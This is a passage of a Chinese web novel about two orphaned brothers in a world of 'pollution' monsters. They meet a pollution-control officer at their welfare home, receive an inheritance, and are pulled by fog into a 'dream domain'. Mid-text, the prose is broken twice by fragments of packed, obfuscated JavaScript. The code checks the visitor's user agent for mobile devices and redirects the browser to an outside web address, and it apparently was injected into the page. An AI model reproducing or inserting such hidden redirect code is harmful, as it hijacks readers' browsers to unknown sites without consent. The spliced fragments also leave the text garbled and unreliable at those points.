“咿呀呀!” 要监督你! “好,都听小乖的。” …… 就在商砚辞在许岁禾勤勤恳恳地监督之下,努力控制自己的思绪时,事情迎来转机。 那是小梅花离开福利院的第三天。 上午的活动课上,商砚辞被一位工作人员叫了出来。 他抱着小胖崽,跟着工作人员走进杭院长办公室。 那位工作人员将他们领到地方后,就离开了。 于是,办公室里只剩下两大两小——商砚辞、许岁禾、杭院长,和一个额发挑染的少年。 商砚辞还记得这个少年。 多亏了他,他和小乖才能平安地走出绥禧妇产医院。 而且—— 当初也是这个少年,将世界的另一面,在商砚辞面前隐隐约约地掀开一角。 * 宁峄再见到商砚辞时,心里其实很是尴尬。 绥禧妇产医院污染事件,是他第一次出任务。 那时因为S级污染物梦魇暴动,浔海市污染防控局行动部的大部分队员都过去支援了,局内人手严重不足。所以,绥禧妇产医院污染爆发后,他一个小菜鸟,也被带了过去。 商砚辞是他救出来的第一个受害者,他本来打算帮商砚辞处理好伤口再走的。 可是,伤口还没处理,污染物跑出隔离墙的消息就传了过来。 情况紧急,宁峄只得赶紧去和其他队员汇合,抓捕污染物。 商砚辞的伤口他也只好托付给其他人。 等他抓捕污染物回来,商砚辞所在的那辆车早已经开走了。 当时的宁峄并没有多想,只以为都是后勤部安排好的。 虽然有些遗憾没能跟商砚辞告别,但层出不穷的污染物和数不胜数的污染残余很快就将这点遗憾驱散。 那段时间,宁峄忙得脚不沾地,完全没有心思去想别的事情。 直到几天前,后勤部收到灾控应急中心整理出来的安置人员名单。 两个工整打印在绥禧妇产医院污染事件死亡人员名单上面的名字,竟再一次出现在了这份安置人员名单上面。 两个未经消除身上残留污染的孩童如今身处儿童福利院——一旦污染蔓延,最先遭殃的就是福利院里的数十名儿童。 后勤部紧急追根溯源,然后,就查到了宁峄身上。 18. 福利院 每次回想起那日浔海市污染防控局内的情形,宁峄都忍不住庆幸——幸好当时后勤部的【唤我之名】就在局里,并且在出发前发现了真相。 不然…… 一想到假如防控局以监测到污染浓度异常增高为理由,封锁了康安儿童福利院,可经过一连串的检查、复验之后,又发现一切正常,那两个同时出现在两份名单上的孩子,早已在绥禧妇产医院外停靠的污染隔离车上面,接受过郁若英的净化和催眠…… 宁峄痛苦面具。 他绝对会被顾队剁成肉馅,包成饺子,然后送给被迫临时加班却白忙活一通的同事们当赔礼的! “宁先生?” 杭院长见商砚辞和许岁禾一进门,宁峄的神色就莫名变得有些古怪,心底不免涌起一抹疑惑。 但想起刚刚宁峄给自己看过的盖着公章的有效证件,她也只好把这抹疑惑暂时压下,转而介绍道:“这就是您要见的、我们福利院的两位小朋友。” 说着,杭院长目光直直地落在宁峄脸上。 可惜,宁峄完全没察觉出杭院长这句话的重点。 清澈的大学生只觉得受宠若惊,忙推拒道:“杭院长,我就是一个跑腿的,称不上什么先生,您直接叫我名字就好哈哈哈……” 尴尬的笑声一出,宁峄天生带着几分桀骜之色的眉眼间,因这段时间的忙碌而生出来的那么些唬人的成熟稳重顿时散去,反倒是冒出些许傻气来。 杭院长的神色却柔和下来。 这位温厚的长者自然看出来了宁峄的真诚。 她点点头,继续道:“哥哥叫商砚辞,弟弟叫许岁禾,是一起来到我们福利院的。他们两个感情很好,都是好孩子。” 在来康安儿童福利院之前,宁峄就翻看过商砚辞和许岁禾的档案,此时听到杭院长的介绍,也不意外。 只是,忆起那个脏兮兮的、被商砚辞宝贝似的抱在怀里的深蓝色书包,宁峄没忍住,盯着忽闪着漂亮蓝眼睛好奇瞅来的小胖崽多看了几眼。 ——就是这只崽吗? 在灾难降临之时,乖乖待在书包里,不哭也不闹,乖巧得令人心软。 果然,他不是讨厌小孩子,他只是讨厌熊孩子而已! 就在宁峄心生感慨的这短短几秒钟之内,察觉到他目光的商砚辞眸色骤变,心中百转千回。 本来,看到身份肯定不是那么简单的挑染少年突然出现在杭院长办公室里,商砚辞就忍不住警惕起来。而此刻,挑染少年又将目光放在了许岁禾身上…… 是发现小乖的异样了吗?他们知道了多少?银蓝色鳞片?还是小乖这段时间不正常的聪慧? 又或者……是他的问题? 突然变大的力气,增大的饭量…… 商砚辞面上镇定自若,心里却乱糟糟的,抱着许岁禾的手臂都不自觉重了一瞬。 虽然他很快就反应过来,放轻了力度,可神情中仍无法避免地多了些担忧与懊恼。 “疼不疼?” 担忧之下,那些乱七八糟的情绪立时如潮水般褪去,男孩的声音满含歉意,促声询问道:“小乖,是压到这里了吗?疼吗?” “呜!”许岁禾仰着小胖脸,软乎乎地摇摇小脑袋。 商砚辞的反应很快,正歪头打量陌生人的小胖崽其实根本就没感觉到什么。 只是,表示自己没事后,许岁禾并没有继续去观察陌生人,而是睁着水汪汪的大眼睛,关心地看着兄长:“嗷?” 哥哥,你怎么啦? 许岁禾这段时间本就因为前些天发生的事,对兄长的情绪无比敏感,更何况是此刻——兄长都控制不住自己的力度啦! 小胖崽忧心忡忡地拧起小眉毛,胖脸蛋皱成一团。 “小禾怎么了?” 商砚辞和许岁禾须臾之间的互动实在是太过隐匿且细微,杭院长和宁峄两人完全没有察觉到。 再加上他们也听不懂许岁禾的婴言婴语,是以,听见商砚辞急切的声音之后,杭院长的目光便自然而然地落在了许岁禾身上。 倒是宁峄,因视线一直在许岁禾身上,注意到小胖崽神情变化的他反而看向商砚辞。 “商砚辞,”并不知道自己才是导致这一系列情况发生的‘罪魁祸首’,挑染少年好心提醒道:“你弟弟应该没事,而且他好像更担心你。” 杭院长闻言,也看向商砚辞:“小辞?” “我刚刚用的力气有些大,我以为勒到小乖了。”商砚辞低声解释道。 “谁都有不小心的时候,放宽心。”杭院长安慰道:“你也不是故意的。” “小禾没事。”她又仔细地观察了下许岁禾的神色,忍不住露出温和笑意:“你看,小禾是在担心你呢。” “呀!”许岁禾连忙点头,蓝眼睛一闪一闪的,跟只乖巧亲人的小胖猫一样,两只爪爪扒拉着兄长小臂不放。 商砚辞黑眸泛起细碎暖光,但动作却没有迟疑,轻轻一压,就把许岁禾胖脸藏进了自己怀中。 “呜?”许岁禾一懵。 商砚辞没应声,边抚顺着许岁禾脊背,边暗暗打量宁峄的神色。 见那挑染少年似乎并没有发现什么异样,商砚辞心底微微松了一口气。 “放宽心,一点小事,下次注意就好。” 杭院长对两个孩子之间深厚的感情很是清楚,并未在意商砚辞的举动,只是走过去安慰地拍拍商砚辞的肩膀。 “来。” 她领着商砚辞往办公室里走:“这是宁峄,你应该叫一声哥哥。他来自污染防控局,今天是来找你和小禾的。” “咳。”虽然刚刚已经和商砚辞说过话了,可被杭院长这么一介绍,再想到自己之前造成的乌龙,宁峄不免心虚:“小朋友,你还记得我吗?我们在绥禧妇产医院见过的。” “记得。”商砚辞点头。 他看向杭院长:“杭奶奶,是宁峄哥把我和小乖从医院里救出来的。” “原来是这样。”得到商砚辞肯定答复的杭院长看向宁峄的视线更加温和:“宁峄,多亏了有你们这些不畏污染的战士,不然污染蔓延,大家都要遭难。” “这都是我们应该做的。”宁峄不好意思地挠挠头。 商砚辞抱着小胖崽默默瞧着,心底紧绷的弦稍松。 他猜对了。 从杭院长领着他往办公室里走开始,商砚辞就拼命回想那些和他同车的孩童们,在经历过白衣女子的奇异能力之后,表现出来的状态。 然后,字字斟酌,句句小心。 好在他的努力起了作用,宁峄没有起疑。 商砚辞在短暂的放松过后,再次打起精神。 只见宁峄和杭院长客气地谦虚几句后,就主动提起正事:“杭院长,我这里有一些关于两个小朋友亲人的事情……能不能让我们单独相处一会儿?” 杭院长心底其实早已有了些猜测。 毕竟当时和商砚辞、许岁禾一起到福利院的那些孩子,都已经经过了这么一遭。 要不是宁峄这边着实是来晚了好些天,杭院长也不至于在看完证件后,还心有疑虑。 “我明白。”她宽慰地看了看神色微变的商砚辞,声音放缓:“小辞,别怕,你还有小禾呢。” 雪团一样绵软可爱的小胖崽听到自己的名字,迅速抛掉被兄长按头埋胸的困惑,嫩呼呼地“呜呀”一声,表示赞同。 “我知道。”软嫩小奶音入耳,男孩那双黑得透不过光的眼眸染上暖意:“杭奶奶,您放心。” 杭院长点头,走出办公室将门关好之后,却还是忍不住叹了一口气。 “造孽啊……”她喃喃自语:“这么多年了…污染这个祸害啊……” * 宁峄看向办公室内站得笔直的商砚辞。 男孩骨相生得极好,眉眼尚且稚嫩,却已能瞧出轮廓线条的硬朗与冷峻之意。 他双臂很稳,小心地抱着白白嫩嫩的许岁禾,像是抱着什么珍贵的、无可替代的宝物。 两个孩子之间有一种旁人无法插足的亲昵与温情,仿佛两只相依为命的小兽,在风雨中相互依靠,彼此守护。 宁峄忍不住回想起自己先前看到的资料。 这两个孩子都是单亲家庭。 他们的母亲是从小一起长大的。 商砚辞的母亲商嫣自出生起便身体不好,许知夏——即许岁禾的母亲,比商嫣大一岁,一直把商嫣当成亲妹妹,十分疼爱。 哪怕两人后来考上的大学不在同一个城市,相距千里,两人之间的联系也从未中断过。 大学毕业后不久,商嫣怀孕了。 又过了一段时间,她的男友失踪,是许知夏照顾她孕期、生产和坐月子。 只是可惜,好景不长,商嫣在商砚辞一岁多的时候,便因病痛而撒手人寰。 商嫣父母双亡,家里也没有什么亲戚。于是,许知夏收养了商砚辞。 虽不在一个户口本上,但许知夏和商砚辞二人情同母子,感情深厚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13828473|146405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到商砚辞七岁,许知夏因公事而去国外出差。回来后不久,她就在医院查出了怀孕——这个孩子就是许岁禾。 再之后,就是绥禧妇产医院污染事件了。 灾难忽然降临。转瞬之间,商砚辞失去了姨母,许岁禾失去了母亲。 许知夏和商嫣一样,都是独生女。她的父母在她大学时因车祸离世,亲戚们也是多年不曾走动,如今留下的两个孩子,只能送往福利院。 不过,许知夏是一个十分懂得居安思危的性格。 她早早就立好了遗嘱,财产一分为二,商砚辞和许岁禾一人一份。 倒是为现在这种情况省去许多麻烦。 “宁峄哥?” 办公室里只留下他们三人后,挑染少年却一直不说话,商砚辞忍不住询问道:“我姨母她……” 宁峄恍然回神,扯了个椅子给他:“你先坐。” 待商砚辞抱着许岁禾坐下,他深吸一口气,突然鞠了一躬:“对不起!” 商砚辞一惊,怀中胖嘟嘟的崽也跟一只受惊的小猫崽子似的,瞪圆蓝眼睛。 “那天在医院,是我弄错了顺序,把你们直接送上了污染隔离车,结果害得你们信息录入错误,直到今天才收到亲人的消息。” 宁峄低着头,懊恼道:“都是我的错。虽然局里已经给了我处罚,但错误已经造成,给你们添了很多麻烦,实在对不起。” “宁峄哥,这也不能全都怪你。” 商砚辞知道,他自己也有错。 他在车上发现问题后,因为想要隐瞒小乖身上的异常,所以故意顺水推舟,来到康安儿童福利院。 事情到了今天这个地步,他也脱不了干系。 只是商砚辞明白,关于小乖的事情肯定是不能和宁峄直说的,所以他遮掩了一下,说道:“我当时对周围很警惕,看谁都觉得他有可能害小乖,所以拼命隐藏小乖的存在。” “后来,我明明发现了不对劲儿,却也没有提出来。如今的结果,我也有责任。” 宁峄感受到商砚辞的真诚,笑了笑,却依旧坚持:“但是一开始,就是我弄错了顺序,不然也不会有后面一系列的事情。” “好了。”他转移话题:“不谈这个了。” “小辞,绥禧妇产医院的污染浓度极高。那日你们离开后,不到一个小时,就又爆发了一次污染……” 他沉默须臾,继续道:“很抱歉,许多受害者的遗体……我们没能带出来。” 商砚辞表情空白一瞬。 良久,他喃喃:“……我知道了……” 康安儿童福利院并不是与世隔绝,宁峄说的这些,商砚辞其实早就知道了。 从前姨母还在的时候,他也听说过这种事情。 只是……他还是心存侥幸,希望留在污染区里的……没有姨母。 但这点侥幸终究还是被打破了。 “节哀。”宁峄不忍地垂下眼眸。 “……我没事。” 许岁禾其实对兄长和宁峄的对话懵懵懂懂。 他确实比同月龄的小朋友发育得快,能听懂的话也多。 但是很多知识是要经过学习,经过理解,才能明白的。 兄长和宁峄的对话里出现了许多新的、许岁禾从没听过的词汇,他不懂,自然懵懵的。 但是,兄长的情绪他懂。 是那种灰灰的、暗暗的味道。 小家伙抿起唇,两只小手抱住兄长的手臂:“呜呀!” 哥哥还有小乖。 小乖会一直陪哥哥的。 商砚辞看着许岁禾澄净而认真的圆圆蓝眸,沉默地抱紧了他。 像是迷途的旅人抱紧了最后一份食物。 …… 宁峄直到商砚辞整理好了心情,才拿出几份文件:“这些是许女士留下的遗产,会有专业的经理人帮你们打理。” “……你们年纪还小,又没有亲属照顾,说实话,留在福利院是一个不错的选择……” …… 其实后面还有好多好多的对话,但许岁禾听不懂,也不在意。 办公室里又进来了几个陌生面孔,兄长握起他的小手,在一份份文件上印下一个个指印…… 总之,许岁禾最后睡着了。 当他再次醒来,已经身处3-09熟悉的铁床之上。 窗外,阳光明媚,枝叶葳蕤。 身侧,兄长静静望来,沉静黑眸清晰地映出一个小小的他。 19. 福利院 “睡醒了?” 肚皮朝上睡得四仰八叉的崽,一有睡醒的征兆,商砚辞便注意到了。 只见小家伙又长又翘的睫毛扑动几下,肉乎乎的小短手揉揉眼睛,开机不过几秒,就呆头呆脑地望过来。 像只睡懵了的幼猫崽子一般,懵懵呆呆的,可爱至极。 商砚辞忍不住笑起来。 “饿不饿?哥哥去给你冲奶粉。” 心情极好的男孩嗓音含笑,轻轻捏了捏弟弟圆嘟嘟的脸蛋子后,便要起身下床冲奶粉。 “呜呀!” 终于开机成功的许岁禾鼓起白嫩包子脸,短胖小手抬起,软软地压在兄长手臂上:“呀~” 不走,陪陪崽嘛~ 澄澈蓝眸中满溢的依恋与亲近,手臂上温热柔软的娇嫩触感…… 商砚辞情不自禁地柔缓了眼眸,心脏仿佛被一张无形的、细细密密的大网裹住,奇异的感觉沿着血液奔涌至四肢百骸,自心底升腾而起的柔软爱意化作异常温和的声音。 “好,听小乖的,不走。” “呜嗷~” 哥哥最好啦~ 胖乎乎的小崽心满意足地弯起明亮圆润的瞳眸,一举一动稚气而烂漫。 商砚辞失笑,握住许岁禾‘自投罗网’的那只小胖爪,低头,认真地逐一检查那五根白嫩短胖的小手指。 检查完,确定胖指头上面细细小小的指甲还是短短的,不会挠伤脸蛋,商砚辞放缓了声音:“小乖,看——” 小脸肉圆的胖崽听到自己的名字,像小动物一样歪歪头,投去好奇而懵懂的目光,嘴里发出可爱气音:“噗噜噜……” 商砚辞眸色愈发柔和,他轻轻捏着小小软软的手掌,教道:“这是小乖的手,shou——” 许岁禾:“噗噜噜……” 商砚辞毫不气馁,小心轻柔地勾起一根短胖手指,继续道:“这是小乖的手指,shouzhi——” 许岁禾:“噗噜噜……” 商砚辞看向他。 小胖崽眨巴眨巴蓝眼睛,无辜回视,并吐了个口水泡泡。 “小坏蛋。”商砚辞故作严肃的表情顿时消散,露出温柔宠惯的底色:“看在你还小的份上,饶你一回。” 许岁禾慢慢吞吞:“嗷——” 商砚辞没好气地点点小胖崽鼻尖,松开爪爪,捉起另一只:“好了,刚刚那只检查完了,现在我们来看看这一只……” “嗯,这一只手的指甲也没有长出来,不错!” “小乖同学要继续保持!争取在指甲长出来之前,学会说话!” 小乖同学瞅瞅自家异想天开望崽成龙的兄长,慢腾腾地把小脑袋转向另一边。 崽崽拒绝.jpg 此处无声胜有声。 商砚辞终于忍不住笑出声来,眉眼间的沉稳镇定被笑意冲散,染上几分与他年龄相符的朝气与活跃。 “我们小乖这么厉害,肯定可以的。”他笑着绕到另一边坐下,手指轻戳小崽圆滚滚的脸蛋:“试一试?小乖?最厉害的小乖同学?” 许岁禾眉毛一拧,圆脑袋再次转走。 商砚辞跟上,继续烦崽:“小乖同学?” “呀!” 小乖同学生气啦! 怒火升腾.jpg 瞧见小家伙燃着两撮小火苗的蓝圆眼睛,商砚辞眸中掠过浓浓笑意,嘴上却果断认错:“我错了。” 许岁禾一呆。 气呼呼的崽脚丫都已经翘起来啦,如今卡在半空,呆呆的。 见此,商砚辞态度极好地伸手握住胖脚丫,还顺便检查了下指甲,才放下。 “咿呀呀!” 卡壳的小家伙脑袋瓜急速转动,半晌,再次睁圆眼睛,义正辞严地谴责! “嗯嗯,我错了。”商砚辞温驯点头,若不是他眸中笑意深深,还真与认真忏悔的悔过者一般无二。 降世不过一月多的小朋友纯良稚嫩,虽然觉得有些不对劲儿,可又实在找不破绽,只得半信半疑:“……呜嗷?” 商砚辞理顺许岁禾蓬松软绒的头毛,跟给小猫梳毛似的,动作轻柔而耐心:“哥哥错了,小乖原谅哥哥好不好?” 被顺毛撸的许岁禾满足地眯起大眼睛,小表情高傲,奶音却软软糯糯的:“呜——” 好叭。 ——好乖。 商砚辞眸眼蕴笑地想。 他收回手指,趁着崽心甚悦,弯腰将许岁禾抱进了怀里。 果然,快乐的小崽没有扑腾,只四肢并用地左蹬蹬右拱拱,努力为自己调整出最合适、最舒服的姿势。 商砚辞没有打扰许岁禾。 他安安稳稳地坐在那里,给了崽最大限度的自由,仿佛身上所有锋利尖锐的棱角,都在这静谧美好的时光中,慢慢温润柔和下来。 许岁禾这个一月龄的小朋友,虽然因污染突然爆发而遭遇了许多波折,但小家伙有哥哥疼,来到福利院后,又成了福利院里人见人爱的小吉祥物,被喂养得很好,奶胖奶胖的,抱起来手感甚佳。 商砚辞抱着他,就像是抱着一个香香软软的糯米团,本就轻快的心情越发愉悦起来。 “小乖,我们有钱了。” 看看调整好姿势后,就翘着脚丫扒拉指头的小胖崽,商砚辞弯唇,揉揉软乎乎小肚子,黑眸中闪着细碎而明亮的光。 “我们再也不用担忧收养的事情了。今天和宁峄哥一起来的那个经理人姓黄。以后,他每个月都会来福利院一趟,也会定时往银行卡里打钱。” “这些事情整个福利院,除了我们两个,就只有杭奶奶知道,不会泄露出去的。以后小乖你学会了说话,也要保密,知道吗?” 他亲昵地低头蹭蹭许岁禾圆乎乎的胖脸蛋,用言语描绘着畅想中的未来:“小乖,姨母把所有的东西都分好了,我们两个一人一半。我很感激姨母,但我这里还有我妈妈留下来的东西,足够我用到上大学。” “姨母留下来的那些东西我不会碰,都给我们小乖……小乖值得最好的一切。” 说到最后一句时,黑眸男孩神情异常郑重。 “呀~” 许岁禾似是察觉到什么,也不玩手指头了,仰起包子脸,蓝眼睛忽闪忽闪地望向兄长,认真又奶气,让人心软得一塌糊涂。 商砚辞不经意间流露出的星点执拗顿时隐去。 他握住小朋友柔软得好似没有骨头的小手,动作轻柔,语气明快:“刚刚我和杭奶奶、黄经理人他们商量了一下,等我满十四岁时,他们会帮我们雇一个阿姨,然后我们就可以搬到姨母留下来的房子里面去住。” “杭奶奶和黄经理人会定期去看我们。这也是为了我们好,毕竟我们两个都还是未成年人。”商砚辞很理智地说道:“但无论怎样,单独出去住都会比现在这样方便许多。” “还有六年……”男孩笑着亲了亲弟弟圆滚滚的小肉腮,眸中满含憧憬:“哥哥会努力让我们小乖成为世界上最幸福的小朋友……” 许岁禾耳畔是兄长温柔且坚定的许诺,鼻间是唯有自己才能闻嗅到的、与先前截然不同的、温甜而柔软的气息…… 只听了后半截话的小朋友枕着兄长虽单薄,却仍带着满满安全感的臂弯,弯眸甜甜地笑了起来。 原来这就是幸福呀~ 小胖崽晕乎乎地想,小乖成为世界上最幸福的小朋友啦~ …… 沉压心底数日的艰难抉择终于解决,自绥禧妇产医院爆发污染之时,便堆积在商砚辞肩上的压力,似乎也在此刻,得到了一丝喘息之机。 于是,一向沉默少言的商砚辞,突然絮叨起来。 他说了许多。 他会好好打理姨母留下来的财产,他想送许岁禾去最好的幼儿园,他拜托黄经理人帮他买了许多育儿书…… 他希望他和小乖,都好好的。 平平安安,健健康康。 “我们要一起长大,一起去看世界。” …… 直到去找范明川聊八卦的姜旻回来,商砚辞才恍然想起——还没给崽冲奶粉! 看看怀中丝毫没察觉出不对,两只爪爪交叠,玩得很是欢快的许岁禾,再看看不知从范明川那里听了什么消息,眉眼间还残留着一抹兴奋的姜旻,商砚辞略有些无奈地想,算了,这样也好,至少不用带着小乖去洗漱间了。 “我去给小乖冲奶粉,姜旻,能麻烦你帮我看一下小乖吗?”商砚辞边说,边将软绵绵的胖崽放下。 “小事一桩,你去吧。”姜旻轻车熟路地走到床边:“小禾,我回来啦——” “这次绝对是一件大事!”都不用许岁禾回应什么,兴奋未消的姜旻就已经开讲:“住在1-04的小松不跟小乐好了……” 两只胖爪爪立即失去了吸引力。 许岁禾忽闪着一双圆溜溜的大眼睛,耳朵竖起,奶声奶气:“呀!” 多说! 爱听! 旁观一切的商砚辞:“……” 这宿舍真是分对了。 男孩无奈摇头,拿起奶瓶,勤勤恳恳兢兢业业地给崽冲奶粉去了。 …… 商砚辞性格内敛沉稳,办公室里发生的事情,他在私底下和弟弟唠叨过后,便也不再提。 但他突然好转的情绪却是隐瞒不了姜旻的。 毕竟是住在一个宿舍,而且别看姜旻这个小胖子表面上看起来大大咧咧的,其实他心思细腻,耐心包容,是个很细致的人。 不过姜旻极有分寸,哪怕猜到商砚辞的变化与那日他去办公室有关,也没有打探什么。 并且他还按住了好奇的双马尾和范明川,帮商砚辞省去许多口舌。 这些事,姜旻默默做了,没有什么刻意邀功的意思。但商砚辞有眼睛、有脑子,能听、能思考,自然都看在眼里,记在心里。 …… 日子就这么平淡而安稳地一天天过去。似乎只是一晃神,近一个月的时光就已经从指隙溜走。 蓝星历2134年9月6日。 中洲。 浔海市康安儿童福利院。 白雾茫茫,蔽日遮天。 浔海市气象局早已发布大雾红色预警,污染防控局也提醒浔海市市民:此次雾气携带少量污染,请大家尽量安排居家办公、学习。 因此,虽然刚开学不久,但商砚辞、姜旻他们所在的学校还是给学生放了假,并叮嘱孩子们乖乖待在家里,不要外出。 “不上学的感觉就是好!”姜旻在床上毛毛虫般拱动几下,感慨道。 “呀!” 许岁禾赞同! 每次兄长上学,他就要被送到杭奶奶的办公室里。 杭奶奶好,可是崽崽还是更想要哥哥陪~ 姜旻抱怨:“就是被困在宿舍里有点无聊……” “你可以去一楼找范明川。”商砚辞放下书,取过边上洗干净的小毛巾,从小胖崽嘴里拿出胖指头,擦干净。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顿时,天晴了雨停了,姜旻又觉得他行了。 “小禾,你真是世界上最可爱的宝宝!”他诚挚感慨。 商砚辞神色复杂地看了看自己这位被自家弟弟一个笑容就轻松拿捏的舍友。 欲言又止.jpg “怎么了?”姜旻疑惑。 “对了,你怎么下床了?”他瞅瞅商砚辞:“你站着抱小禾不累吗?小禾可不轻。说起来,你这力气真的可以啊,无论你抱着小禾走多久,都没见你喊累过。” 耳尖的小胖崽抱着奶瓶骄傲挺胸。 小禾当然不轻。 小禾身上的肉肉可都是小禾一口奶一口奶认认真真喝出来的! “我天生就力气大。”商砚辞面不改色,很自然地接话道:“这就和小乖天生就不爱出汗一样,都是出生自带的。” “唉!我怎么就没有一个出生自带的天赋呢?” 他看向窗外:“你们说这雾什么时候能散啊?” “……” “……” 诡异的安静。 姜旻猛地回头。 熟悉的宿舍空空荡荡。头顶灯光依旧明亮,在昏灰雾气中,将这一方小小的空间照亮。 姜旻的心沉入谷底。 商砚辞和许岁禾……不见了。 * “顾队!”面色焦急的青年推门而入,眉宇间带着一抹深深的恐惧。 思绪倏地被打断,顾行之浓黑长眉一皱。 “出什么事了?”陈皓雨看了一眼顾行之,率先开口道:“你别着急,慢慢说。” 青年深吸一口气。 这个动作似乎给了他什么勇气,让他终于能完完整整地将下面这段话说完:“后勤部传来消息,目前已有数十名市民突然消失。根据污染波动追踪和污染痕迹对比……是S级污染物梦魇。” “什么?!” 坐在一旁额发挑染的少年惊愕站起:“怎么可能?!!” “浔海市周边前些日子刚被清理一遍,梦域锚点全部拔除!” “好了。”陈皓雨安慰地拍拍挑染少年肩膀:“宁峄,没有什么不可能的。我们面对的是污染物,永远不要存在侥幸心理。” 比起陈皓雨的柔和,顾行之可就干脆多了:“坐下。” 宁峄沉默地坐回原位。 陈皓雨也默默收回手掌。 “我们知道了,会尽快派人去查探的。” 瞅了眼顾行之的神色,陈皓雨几乎没有犹豫,转身,温和而不失强硬地对报信青年说道:“麻烦你通知后勤部做好准备。” 被顾行之和陈皓雨沉稳镇定的神色感染,青年眉宇间的焦躁不安散去一些,似是找到了主心骨。 他重重点头,走出屋子关好门后,便立即奔向后勤部。 “队长,你打算怎么办?”屋内一直沉默的黑发男人终于开口。 陈皓雨和宁峄也抬头看向顾行之。 “梦魇想要将人吞进梦域,必须要满足两个条件。”顾行之沉声道:“一是目标身上有污染气息,二是周围有梦域锚点。” “无论是上次清理时留下的漏网之鱼,还是梦魇新埋下的梦域锚点,尽快定位。” 眉眼冷肃的男人眼中浮现厉色:“另外,告诉后勤部,立即去封媒体的嘴。” “绝不允许污染和怪物、觉醒之类的词扯上关系!” “让郁若英随时待命。” “是!” …… 白雾如烟似涛,将整个浔海市吞没,只留下零星若隐若现的影子。 身处雾中之人已经无法分辨出哪里是天,哪里是地。汹涌迷漫的雾气仿佛一个巨大囚笼,悄然将渺渺众生吞噬。 20. 梦域 浓雾蔽日,天色昏灰。 荒凉破败的城市中,一道细弱嗓音突然颤巍巍地响起。 “……有人吗?” “……” 无人应答。 就在声音主人愈发绝望之时,白雾深处,冷静清晰的女声传出,主动打破了沉默:“有人。” “我刚刚在家里,什么都没做,只眼睛一睁一闭,就被带到了这里。” “雾太大了,什么都看不清,我认不出具体地点。” “我也是!” 最先开口的女生连忙点头:“我也什么都没有做…不对…我在看电视剧,但我平时也看啊!以前就从来没有出现过这种情况!” 她看起来刚二十岁出头,一身粉色家居服,黑长发,眼中盛满惊慌:“这种突然就换了一个地方的剧情……我们是遇上什么系统了吗?无限流?” 虽然她平时看小说看得很起兴,但她一点也不想亲自体验所谓的无限游戏! 想起小说中,关于无限游戏的种种描写,粉色家居服女生咬紧下唇,面色异常苍白。 冷静女声若有所思:“你说的也有可能。先自我介绍一下,我叫白榆青,” 说到此处,她微不可察地停顿了一下,才继续说道:“出现在这里之前,我在浔海市出差。我手上还有工作没完成,现在只想赶紧结束这一切。” “雾很大。我不知道这里的雾气和浔海市那边的雾有没有关系,但浔海市污染防控局通知了,那边的雾气里带有污染,最好不要长时间接触。所以我想,我们最好还是不要冒险。” 她抬脚朝粉色家居服女生所在的位置走去:“一直僵持着对我们都没有什么好处,大家聚到一起,人多力量大,说不定能找出什么线索。” “白姐姐说得对。”粉色家居服女生连忙点头:“我叫荀拂,刚刚也是在浔海市!” “浔海市……”荀拂眼睛一亮,声音里掺杂了些激动:“你们呢?你们来到这里之前,是不是也在浔海市?” “是。” 见她们这么快就有了进展,一直藏在雾气里的男人开口说道:“我叫赵宏勇,旁边是我老婆吴梅。今天公司放假,学校也放假,我们两个就在家里看孩子写作业。” 白榆青已经走到荀拂身旁,闻言轻轻点头:“看来共同点是我们都身处浔海市……想来这里的雾气很有可能也带污染。” “还有人吗?都这种时候了,也没有什么隐瞒的必要了吧?我们互相合作,努力回去才是最重要的。” 浓雾翻腾动荡,时隐时现的单薄轮廓恍似鬼影,阴森而苍白。 短暂地安静几秒之后,一道声音响起:“我和我弟弟刚刚也在浔海市。” 最后开口这人语气镇定,声线平稳,令人一听便能猜到,声音的主人平日里必然是个沉着可靠的性格。 可是,一直表现得冷静自若的白榆青却是面色微微一变,荀拂也惊愕地朝声音传来之处看去。 这道声音,分明是个童声! * 一切皆发生在转瞬之间。 不过是一眨眼的时间,眼前场景却骤然改变。 商砚辞站稳后,顾不得探究变故发生的原因,只迅速低头,焦急地看向怀中白嫩胖乎的小崽。 一张懵懵然小圆脸映入眼帘。 许岁禾咕咚咽下一口奶,咬着奶嘴,好奇地探头探脑。 让崽看看怎么个事儿~ 姜旻呢?铁床呢?奶粉罐呢? 小胖崽一连三问,重点落在了最后一问上。 没了奶粉罐,崽以后可怎么喝奶啊? 望着厚重纱幔一般的蔽日浓雾,小煤气罐罐表情沉痛,深切地意识到了奶粉罐罐对煤气罐罐的重要性。 ——那可是煤气罐罐的能量来源啊! 罐罐悲痛.jpg 并喝了一大口奶以缓解悲痛。 莫名看懂了小煤气罐罐的内心活动的商砚辞:“……” 行吧。 至少这只罐罐肯定是没伤到哪里——毕竟还有心思去担心他的奶粉罐。 放下心来,并且还有点哭笑不得的商砚辞抱稳许岁禾,抬眸打量四周。 翻滚雾海阻挡了视线,商砚辞只能看清周围数米之内的情况,不由得眉头紧蹙。 默默将心中没来由冒出的不祥预感压下,商砚辞低头刚准备安抚自家弟弟,却听见一声颤巍巍的“……有人吗?” 商砚辞越发警惕。 他手掌轻轻抚顺着许岁禾软而薄韧的脊背,目光紧盯声音传来之处。 良久,另一道声音响起。 商砚辞安静地聆听着她们的对话,呼吸声轻不可闻。 许岁禾蓝汪汪的圆眼睛望望远处白雾,又瞅瞅自家兄长,小短手抱紧奶瓶,一声不吭。 乖巧得令人心软。 商砚辞目光温软地落在小胖崽脸蛋上,胸腔鼓噪,难以言说的细密热意从心脏涌入四肢百骸,带来无尽的勇气与信念。 不怕,他们两个一定会活下来的。 哪怕是无限游戏也没有关系。 他会护着小乖。 平平安安,健健康康。 眸色坚毅的俊秀男孩神情愈发认真,将荀拂和白榆青的对话细细记下,以备不时之需。 “看来共同点是我们都身处浔海市……还有人吗?……” 白榆青的言语清晰且直白,商砚辞轻轻摸了摸弟弟乌软蓬松的头发,不再迟疑,扬声道:“我和我弟弟刚刚也在浔海市。” 